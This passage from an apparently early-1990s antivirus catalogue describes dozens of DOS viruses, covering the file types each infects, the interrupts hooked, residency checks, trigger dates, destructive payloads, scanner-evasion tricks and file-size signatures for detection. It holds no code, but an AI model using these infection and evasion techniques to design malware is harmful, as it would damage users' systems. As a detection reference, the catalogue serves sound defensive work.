Interrupt 08h will be hooked: If the month when the executed file
was infected is not equal to the current month, the virus will
hook int 08h, which will:
  (i) Be resident at the top of memory but below the 640k
      boundary.
 (ii) Decrease available memory by 80 bytes.
(iii) Assign a value BDD8h to a counter and decrease the counter
      by 18.2 every second. When the counter reaches zero the
      screen will blank and the original screen contents will
      then scroll up.  After this you can continue as normal.
 (iv) Assign a value 1518h to the counter and repeat step (ii),
      (iii), (iv).

Damage: Virus hooks int 8h and at certain intervals the screen
goes blank and scrolls up.

Symptoms: Increased file sizes.  Decreased available memory.

[Thule]
Virus Name: THULE
Virus Type: Virus infects .COM files shorter than 61,054 bytes.
            Virus is a Memory Block Resident.
Virus Length: Virus infects COM files 309 bytes and 68 bytes in
              memory.

Interrupt Vectors Hooked: INT 21h.

Infection Process:
This virus will move virus code to 0:200h-0:243h and hook int 21h
in order to delete a file named "THULE.COM."  When DOS changes
the current directory , it will try to open "THULE.COM" on
current directory.  When found, this file will be deleted.

Damage: The file named "THULE.COM" will be deleted.

Symptoms: Increased file sizes.  A file is deleted.

[Topa 1.20]
Virus Name: TOPA 1.20
Virus Type: Virus infects .COM files between 2712 and 60000
            bytes. Infects .EXE files between 5424 and 524288
            bytes.  Virus is a Memory Block Resident.
Virus Length: EXE files: 2456 - 2471 bytes and
              COM files: 2456 bytes. 5536 bytes in memory.

Interrupt Vectors Hooked: INT 1Ch and INT 21h.

Infection Process:
This virus is spread by executing an infected program. When a
TOPA_1.2 infected program is executed, it will check to see if
AX= 4290h,INT 21 and return AX = 9047 indicate it is already
resident in memory. If is already in memory it will execute the
infected program. If it is not in memory, it will perform the
following functions:
1) It will change memory allocate strategy to low memory last
   fit,then stay resident at the MCB (memory control block).The
   available free memory will have decreased by 5536 (15A0H)
   bytes.
2) Once the TOPA_1.2 virus is memory resident, it will hook int
   1Ch and int 21h in order to infect files.

Damage: Decreased available memory.

Symptoms: Increased file sizes.

[Topo]
Virus Name: TOPO
Virus Type: Virus infects .EXE files shorter than 524288 bytes.
            Virus is a Memory Block Resident.
Virus Length: EXE files: 1536 - 1552 bytes and 3616 bytes in
              memory.

Interrupt Vectors Hooked: INT 21h.

Infection Process:
This virus is spread by executing an infected program. When a
TOPO infected program is executed, first it will hook INT 3 then
use this interrupt to deceive the virus body.  The virus will
then check to see if it is already resident in memory by checking
to see if address 0:3feh contains the value 0011h.  If the virus
is already in memory it will execute the infected program. Virus
will not include files names such as: "*AN.EXE" , "*LD.EXE" with
'*' being a wild card.

Damage: Virus destroys diskette parameter (00:525h - 0:52Ch) and
displays the following  message:

    "R(etry), I(gnore), F(ail), or A(bort) ?"

Symptoms: Increased file sizes and the inability to read certain
files. Decreased available memory.

Note: If the system date is equal to the 25 or 26 of any month,
the above message will manifest.

[Bloody Warrior]
Virus Name:  BLOODY-WARRIOR
Virus Type:  Resident at the top of the MCB (memory control
block).
Virus Length: 1344 bytes in the file and 2768 bytes in memory.

PC Vectors Hooked:

Executing Procedure:
Virus infects COM and .EXE files as long as the .COM file is
shorter than EA60h bytes.  It will not infect the following
files: "SCAN", "STOP", "SHIELD", "CLEAN", "CV", "DEBUG", "TD."
This virus can spread only by executing an infected program.

Damage:
Virus destroys disk sector from sector 1 to 256. By progressive
action: it will write garbage to the current disk from sectors 1
to 256 when it is the fourth  or later in the month of July.

Detecting Method:
Can find that the file length of infected file increases 1344
bytes.

Symptoms:
When a BLOODY-WARRIOR infected program is executed it will be:
1. Resident at the top of system memory but below the 640k DOS
   boundary. The available free memory will be decreased by 2768
   bytes.
2. Interrupt 21h will be hooked: When the BLOODY-WARRIOR virus is
   memory resident, in order to infect the files the virus will
   control the following functions:
        - loading and executing (AX=4B00h)
        - opening (AH=3Dh)
        - get and set file attribute (AH=43h)
        - rename a file (AH = 56h)
   It will infect .EXE .COM files when they are executed, opened,
   when getting file attributes, or when renaming files.  But it
   will not infect .COM files if the length is greater than EA60h
   bytes. Infected programs will have a file length increase of
   1344 bytes with the virus being located at the end of the
   file. If file header is : "SCAN","STOP", "SHIELD", "CLEAN",
   "CV", "DEBUG", or "TD" the virus will not infect these files
   but will instead restore int 21h to the original interrupt
   vector so these files will not be able to detect the virus.
3. This virus will only activate in July, when the date is the
   4th or later. It will write garbage to the current disk from
   sectors 1 to 256. The garbage data includes the follow message


               Hello, world!
               I am the Bloody Warrior.
               Nice to meet you.
               What about this virus ? Funny ?
               There is no hope for you.
               This virus was released in Milan
               1993.

Note: There is a possibility of detection when using DOS commands

[17690]
Virus Name: 17690
Virus Type: EXE File infector
Virus Length:  17,690 bytes

Executing Procedure:
1) There is a 10% chance that the virus will infect a file. The
   method of infection is: virus searches for an EXE file on
   diskette A. Then renames this file and creates a new COM file
   wi9th the same name as the original EXE file. This new COM
   file is the virus.
2) When virus does not infect files, it will execute the program
   that has been renamed. User will not see any unusual
   manifestation.

Damage: None

Detecting Method: Infected file sizes increase by 17,690 bytes.

[Fish 1100]
Virus Name: Fish-1100
Virus Type: COM File infector
Virus Length:  1100 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected COM file, virus proceeds to
infect it.

Damage: None

Detecting Method: Infected file sizes increase by 1100 bytes.

[Fish 2420]
Virus Name: Fish-2420
Virus Type: COM File infector
Virus Length:  2420 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected COM file, virus proceeds to
infect it.

Damage: None

Detecting Method: Infected file sizes increase by 2420 bytes.

[Small 178]
Virus Name: Small-178
Virus Type: COM File infector
Virus Length:  178 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh)to infect files. If the program to be
executed is an uninfected COM file, virus proceeds to infect it.

Damage: None

Note: You will see an error message when writing because INT 24h
has not been hanged.

Detecting Method: Infected file sizes increase by 178 bytes.

[Shiny-Happy]
Virus Name: Shiny-Happy
Virus Type: EXE File infector
Virus Length:  921 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected EXE file, virus proceeds to infect it.

Damage: None

Detecting Method: Infected file sizes increase by 921 bytes.

[Sucker]
Virus Name: Sucker
Virus Type: EXE File infector
Virus Length:  572 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected COM file, virus proceeds to infect it.

Damage: None

Note:
1) You will see an error message when writing because INT 24h has
   not been hanged.
2) This virus can be cleared with Soft-Mice. Virus will make a
   mistake in clearing SUCKER.CO..

Detecting Method: Infected file sizes increase by 572 bytes.

[Data-Rape-2.0]
Virus Name: Data-Rape-2.0
Virus Type: COM & EXE File infector
Virus Length:  1875-1890 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected COM or EXE file, virus proceeds to
infect it.

Damage: None

Detecting Method: Infected file sizes increase by 1875-1890
bytes.

[Flagyll]
Virus Name: Flagyll
Virus Type: EXE File infector
Virus Length:

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected EXE file, virus proceeds to infect it.

Damage: It will overwrite original files with a virus code.
Original files are destroyed.

Note: You will see an error message when writing because INT 24h
has not been hanged.

[X-3B]
Virus Name: X-3B
Virus Type: COM & EXE File infector
Virus Length:  1060 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected COM or EXE file, virus proceeds to
infect it.

Damage: None

Detecting Method: Infected file sizes increase by 1060 bytes.

[Math-Test]
Virus Name: Math-Test
Virus Type: COM & EXE File infector
Virus Length:  1136 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected COM or EXE file, virus proceeds to
infect it.

Damage: None

Note: You will see an error message when writing because INT 24h
has not been hanged.

Detecting Method: Infected file sizes increase by 1136 bytes.

[Not-586]
Virus Name: Not-586
Virus Type: COM File infector
Virus Length:  586 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected COM file, virus proceeds to
infect it.

Damage: None

Detecting Method: Infected file sizes increase by 586 bytes.

[Xoana]
Virus Name: Xoana
Virus Type: EXE File infector
Virus Length:  1670 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected EXE file, virus proceeds to infect it.

Damage: None

Note: You will see an error message when writing because INT 24h
has not been hanged.

Detecting Method: Infected file sizes increase by 1670 bytes.

[Pit-1228]
Virus Name: Pit-1228
Virus Type: COM & EXE File infector
Virus Length:  1228 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected COM or EXE file, virus proceeds
to infect it.

Damage: None

Detecting Method: Infected file sizes increase by 1228 bytes.

[Finnish-357]
Virus Name: Finnish-357
Virus Type: COM File infector
Virus Length:  709 BYTES

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and checks
whether COMMAND.COM that booted up system has been infected. If
not, virus infects it and goes back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected COM file, virus proceeds to infect it.

Detecting Method: Infected file sizes increase by 709 bytes.

[TU-482]
Virus Name: Tu-482
Virus Type: COM File infector
Virus Length:  482 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected COM file, virus proceeds to infect it.

Damage: None

Note:
1) You will see an error message when writing because INT 24h has
   not been hanged.
2) When virus is executed, it will jump to the end of the
   program. It will then jump back to the beginning making it
   difficult to locate.

Detecting Method: Infected file sizes increase by 482 bytes.

[Uruk-Hai]
Virus Name: Uruk-Hai
Virus Type: COM File infector
Virus Length:  394 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected COM file, virus proceeds to
infect it.

Damage: None

Detecting Method: Infected file sizes increase by 394 bytes.

[V-388]
Virus Name: V-388
Virus Type: COM File infector
Virus Length:  394 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected COM file, and this program ends
with INT 21(AH=4Ch), virus proceeds to infect it.

Damage: None

Detecting Method: Infected file sizes increase by 394 bytes.

[Wizard 3.0]
Virus Name: Wizard-3.0
Virus Type: COM File infector
Virus Length:  268 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected COM file, virus proceeds to infect it.

Damage: None

Note: You will see an error message when writing because INT 24h
has not been hanged.

Detecting Method: Infected file sizes increase by 268 bytes.

[Semtex]
Virus Name: Semtex
Virus Type: COM File infector
Virus Length:  1000 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h, INT 8h and
goes back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected COM file, virus proceeds to infect it.

Damage: None

Note:
1) You will see an error message when writing because INT 24h has
   not been hanged.
2) The sentence at the beginning of infected file is:

                   MOV     BP,XXXX
                   JMP     BP

Detecting Method: Infected file sizes increase by 1000 bytes.

[1720]
Virus Name: 1720
Virus Type: COM File infector
Virus Length:  1723 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected COM file, virus proceeds to
infect it.

Damage: None

Detecting Method: Infected file sizes increase by 1723 bytes.

[Number 6]
Virus Name: Number6
Virus Type: COM File infector
Virus Length:  631 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected COM file, virus proceeds to infect
it.

Damage: None

Detecting Method: Infected file sizes increase by 631 bytes.

[Timemark]
Virus Name: Timemark
Virus Type: EXE File infector
Virus Length:  1060-1080 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected EXE file, virus proceeds to infect it.

Damage: None

Detecting Method: Infected file sizes increase by 1060-1080
bytes.

[Sergant]
Virus Name: Sergant
Virus Type: COM File infector
Virus Length:  108 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected COM file, virus proceeds to infect it.

Damage: None

Note: You will see an error message when writing because INT 24h
has not been hanged.

Detecting Method: Infected file sizes increase by 108 bytes.

[Penza]
Virus Name: Penza
Virus Type: COM File infector
Virus Length:  700 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected COM file, virus proceeds to
infect it.

Damage: None

Detecting Method: Infected file sizes increase by 700 bytes.

[Nines]
Virus Name: Nines
Virus Type: COM File infector
Virus Length:  706 or 776 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected COM file, virus proceeds to infect it.

Damage: None

Note: You will see an error message when writing because INT 24h
has not been hanged.

Detecting Method: Infected file sizes increase by 706 OR 776
bytes.

[Seacat]
Virus Name: Seacat
Virus Type: COM File infector
Virus Length:  1600 bytes

Executing Procedure:
Virus searches for an uninfected COM file on current directory,
then infects it (Infects only one file at a time).

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 1600 bytes.

[Wake]
Virus Name: Wake
Virus Type: EXE File infector
Virus Length:

Executing Procedure:
Virus searches for all uninfected EXE files on current directory,
then infects them (Infects only one file at a time).

Damage: It will overwrite original files with a virus code.
Original files are destroyed.

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

[T-1000-B]
Virus Name: T-1000-B
Virus Type: COM File infector
Virus Length:

Executing Procedure:
Virus searches for all uninfected COM files on current directory,
then infects them (Infects only one file at a time).

Damage: It will overwrite original files with a virus code.
Original files are destroyed.

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

[Soupy]
Virus Name: Soupy
Virus Type: COM File infector
Virus Length:  1072 bytes

Executing Procedure:
Virus searches for an uninfected COM file on current directory,
then infects it (Infects only one file at a time).

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 1072 bytes.

[Small-Exe]
Virus Name: Small-Exe
Virus Type: EXE File infector
Virus Length:  349 bytes

Executing Procedure:
Virus searches for an uninfected EXE file on current directory,
then infects it (Infects only one file at a time).  After
infection, virus halts system.

Damage: Virus will halt system every time it infects a file.

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 349 bytes.

[Toys]
Virus Name: Toys
Virus Type: COM & EXE File infector
Virus Length:  773 bytes

Executing Procedure:
Virus searches for uninfected COM files on current directory,
then infects them (Infects two files at a time).

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 773 bytes.

[Leper]
Virus Name: Leper
Virus Type: COM & EXE File infector
Virus Length:

Executing Procedure:
Virus searches for uninfected COM files on current directory,
then infects them (Infects four files at a time).

Damage: It will overwrite original files with a virus code.
Original files are destroyed.

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

[Arcv-7]
Virus Name: Arcv-7
Virus Type: EXE File infector
Virus Length:  541 bytes

Executing Procedure:
Virus searches for an uninfected EXE file on current directory,
then infects it (Infects only one file at a time).

Damage: None

Note:
1) Because the virus infection program is not well written, the
   system will halt when an infected program is executed.
2) It does not stay resident in memory.
3) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 541 bytes.

[Arcv-6]
Virus Name: Arcv-6
Virus Type: COM File infector
Virus Length:  335 bytes

Executing Procedure:
Virus searches for an uninfected COM file on current directory,
then infects it (Infects only one file at a time).

Damage: None

Note:
1) It does not stay resident in memory.

2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 335 bytes.

[Arcv-5]
Virus Name: Arcv-5
Virus Type: COM File infector
Virus Length:  475 bytes

Executing Procedure:
Virus searches for an uninfected COM file on current directory,
then infects it (Infects only one file at a time).

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 475 bytes.

[Exper-416]
Virus Name: Exper-416
Virus Type: COM File infector
Virus Length:  416 bytes

Executing Procedure:
Virus searches for all uninfected COM files on current directory,
then infects them.

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 416 bytes.

[Ash-B]
Virus Name: Ash-B
Virus Type: COM File infector
Virus Length:  280 bytes

Executing Procedure:
Virus searches for all uninfected COM files on current directory,
then infects them.

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 280 bytes.

[Scribble]
Virus Name: Scribble
Virus Type: COM & EXE File infector
Virus Length:

Executing Procedure:
Virus searches for all uninfected COM & EXE files on current
directory, then infects them.

Damage: It will overwrite original files with a virus code.
Original files are destroyed.

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

[Simple 1992]
Virus Name: Simple-1992
Virus Type: COM File infector
Virus Length:  424 bytes

Executing Procedure:
Virus searches for all uninfected COM files on current directory,
then infects them. (Virus will infect COMMAND.COM)

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 424 bytes.

[Schrunch]
Virus Name: Schrunch
Virus Type: COM File infector
Virus Length:  420 bytes

Executing Procedure:
Virus displays the following message:

    "S C H R U N CH     E M     U P  T I M E."

Virus searches for all uninfected COM files on current directory,
then proceeds to infect them.

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method:
1) Infected file sizes increase by 420 bytes.
2) Virus will display above message when a file is executed.

[CV4]
Virus Name: Cv4
Virus Type: COM File infector
Virus Length:  321 bytes

Executing Procedure:
Virus displays the following message:

    "This file infected with COMVIRUS 1.0."

Virus then searches for an uninfected COM file on current
directory and proceeds to infect it (Infects only one file at a
time).

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method:
1) Infected file sizes increase by 321 bytes.
2) Virus displays above message when infected file is executed.

[Arcv-3A]
Virus Name: Arcv-3a
Virus Type: COM File infector
Virus Length:  657 bytes

Executing Procedure:
Virus searches for all uninfected COM files on current directory,
then infects them. Then it will check whether current calendar
month is February. If it is, virus displays the following:

    "I've just Found a Virus.. Oops.. Sorry I'm the virus...Well
     let me introduce myself.. I am ARCV-3 Virus, by Apache
     Warrior... Long Live The ARCV and What s an Hard ECU?.. Vote
     Yes to the Best Vote ARCV..."

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 657 bytes.

[Anti_Daf]
Virus Name: Anti_Daf
Virus Type: COM File infector
Virus Length:  561 bytes

Executing Procedure:
Virus searches for an uninfected COM file on current directory,
then infects it (Infects only one file at a time).   Then it will
check whether current month is November, and tha the current day
is Monday. If these requirements are met, virus displays a
message, and then destroys all data on hard diskette. The virus
displays the following message :

    "The Anti_Daf virus.. DAF-TRUCKSE indhoven.. Hugo vd Goeslaan
     1..postbus 90063..6500 PREindhoven, The Netherlands.  .. DAF
     sucks..... (c) 1992 Dark Helmet & The Virus Research Centre"

Damage: Virus will sometimes destroy all data on hard diskette.

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 561 bytes.

[Manola]
Virus Name: Manola
Virus Type: COM File infector
Virus Length:  831 bytes

Executing Procedure:
Virus checks whether current day is 7th. If it is, virus displays
the following message and reboots the system:

    "The Atomic Dustbin 2B - I'm Here To Stay".

If the above requirements are not met, virus searches for an
uninfected COM file on current directory, and infects it (Infects
only one file at a time).

Damage: Virus will sometimes reboot the system.

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 831 bytes.

[Seneca-A]
Virus Name: Seneca-A
Virus Type: EXE File infector
Virus Length:

Executing Procedure:
Virus searches for all uninfected EXE files on current directory,
then infects them. It will check whether current date is November
25. If it is, virus displays the following message and destroys
all data on hard diskette:

        "Its Seneca's B_DAY
         let's party   !!!"

Damage: Virus will sometimes destroy all data on hard diskette.

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

[Seneca-B]
Virus Name: SENECA-B
Virus Type: File infector
Virus Length:

Executing Procedure:
Virus searches for all (*.*) uninfected files on current
directory, then infects them. It will check whether current date
is November 25. If it is, virus displays the following message
and destroys all data on hard diskette:

        "Its Seneca's B_DAY
         let's party   !!!"

Damage: Virus will sometimes destroy all data on hard diskette.

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

[Mog]
Virus Name: Mog
Virus Type: COM File infector
Virus Length:  328 bytes

Executing Procedure:
Virus searches for all uninfected COM files on current directory,
then infects them. Virus will then display the following message:

    " Maccabi Yafo !!!!!"

No matter whether it could find an uninfected COM file or not, It
will check whether current date is February 25. If it is, virus
will halt the system.

Damage: Virus will sometimes halt the system.

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 328 bytes.

[LZ2]
Virus Name: Lz2
Virus Type: EXE File infector
Virus Length:  3000-8000 bytes

Executing Procedure:
Virus searches for an uninfected COM file on current directory,
then infects it (Infects only one file at a time). The method of
infection is: creates a new COM file with the same name as the
EXE file.   This new COM file is the virus. Its length is
3000-8000 bytes.

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.
3) The procedure at the beginning of virus is Encrypted in LZEXE
   mode. PCSCAN cannot scan this virus.

[Silver-3D]
Virus Name: Silver-3d
Virus Type: COM & EXE File infector
Virus Length:

Executing Procedure:
Virus searches for an uninfected COM or EXE file on current
directory, then infects it. It  will infect four files at a time.
Virus then displays the following message:

    "Program too big to fit in memory."

Damage:
1) It will overwrite original files with a virus code. Original
   files are destroyed.
2) If virus cannot find an uninfected file, it will display "PLO
   VIRUS RESEARCH TEAM" in enlarged font.  Virus then halts
   system.

Detecting Method:
1) The length of infected COM files is 8101 bytes.
2) Executed infected files will display the following message:

   "Program too big to fit in memory" or
   "PLO VIRUS RESEARCH TEAM."

[Silly-Willy]
Virus Name: Silly-Willy
Virus Type: COM & EXE File infector
Virus Length:

Executing Procedure:
1) When executing an infected COM program, it will infect files
   only when current year is between 1988 and 1992.  When
   infecting files,  virus will search for an uninfected COM and
   EXE file on current directory, then infects them.  Virus will
   infect only one COM file and EXE file at a time.
2) Executing an infected EXE program will not infect other files.
   At this time, a smiling face is displayed on the screen
   Furthermore, when any key is depressed, the following message
   will be displayed:

   "Hello ! I'm Silly-Willy
    Now, I'm formatting your HARDDISK.........."

   (It does not really format hard disk). If there is a diskette
   in drive A, all data on this diskette will be destroyed and
   virus will proceed to hang the system.

Damage: Virus will sometimes destroy all data on diskette in
drive A and halt system.

[Stupid 1]
Virus Name: Stupid 1, July 4
Virus Type: COM File infector
Virus Length:  743 bytes

Executing Procedure:
1) If word at address 0000:01FEh is FFFFh, virus will not infect
   any file.
2) When virus infects files, it will infect all uninfected COM
   files on current directory. If number of infection is less
   than 2, it will go on infecting all COM files on upper
   directory until the number is larger then 2 or it has reached
   root directory. It will check whether current date is July 4
   and that current time is either  0:00am, 1:00am, 2:00am,
   3:00am, 4:00am, or 5:00am. If any of these times are met,
   virus will proceed to destroy data on current diskette.

Detecting Method:
1) Date and time of infected files changed.
2) Byte at 0003h of infected COM file is 1Ah.
3) Infected COM file displays the following message:

         "Abort, Retry, Ignore, Fail?" ,
         "Fail on INT 24"
   (2) - "Impotence error reading users disk"
   (0) - "Program too big to fit in memory"
   (1) - "Cannot load COMMAND, system halted"
   (3)"Joker!" and "*.com."

4) Virus will display the above message when executing an
   infected file.

[Klf-356]
Virus Name: Klf-356
Virus Type: COM File infector
Virus Length:  356 bytes

Executing Procedure:
Checks whether it has stayed resident in memory. If not, it will
stay resident in high memory. Then hooks INT 21h and goes back to
original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected COM file, virus proceeds to
infect it.

Damage: None

Detecting Method: Infected file sizes increase by 356 bytes.

[April, 1998]
Virus Name: April, 1998
Virus Type: Virus infects .EXE files which are greater than 10h.
            Virus is a memory resident.
Virus Length: 998 bytes on file and 1104 bytes in memory.

Interrupt Vectors Hooked: INT 21h.

Infection Process: This virus is spread by executing an infected
program. When an April, 1998 infected program is executed, it will
check to see if it already resident in memory.  If so, it will
execute the infected program. Virus stays resident at the top of
the MCB (memory control block) but below the DOS 640k boundary.

Damage: Virus writes garbage to C drive from relative sector 0 to
sector Feh when system date is April of any year.

Symptoms:  The available free memory will decrease by 1104 bytes.

Note: This virus doesn't infect files named as: "SCAN*", "CLEA*",
"VIRS*","F-PR*" OR "CPAV*"

[17-768]
Virus Name:  17-768
Virus Type: Virus Infects .COM and .EXE files shorter than 59920
            bytes. Memory resident.
Virus Length: 768 (300h) bytes on File and . 800 (320h) bytes in
              memory.
Interrupt Vectors Hooked: INT 09h and 21h.

Infection Process: This virus is a variant of the November-17th
virus: If the system date is equal to 17 November, and the value
of [40:46E] not the same as the virus backup value of [40:46E]
when the virus is resident, it will destroy current disk beginning
from sector 1 to sector 8.  The first time a program infected
with November 17th is executed, the virus will install itself
memory resident at the top of system  memory but below the 640K
DOS boundary.

Damage: Virus destroys current disk from sector 1 to sector 8. By
progressive  action, virus will insert garbage in these sectors
when the date is the 17th of November.

Symptoms:  File size increase of 855 bytes. Available free memory
decreases by 896 bytes.

Note: The November 17th virus was received in January, 1992.  Its
origin or point of original isolation was originally unknown, but
it has since been reported as being widespread in Rome, Italy in
December 1991.  November 17th is a memory resident infector of
.COM and .EXE programs, including COMMAND.COM.

[Jeff]
Virus Name: Jeff
Virus Type: COM File infector
Virus Length:  815-820 bytes

Executing Procedure:
Virus searches for an uninfected COM file on current directory,
then infects it. It only infects one file at a time.

Damage: None

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 815-820 bytes.

[Ill]
Virus Name: Ill
Virus Type: COM File infector
Virus Length:  1016 bytes

Executing Procedure:
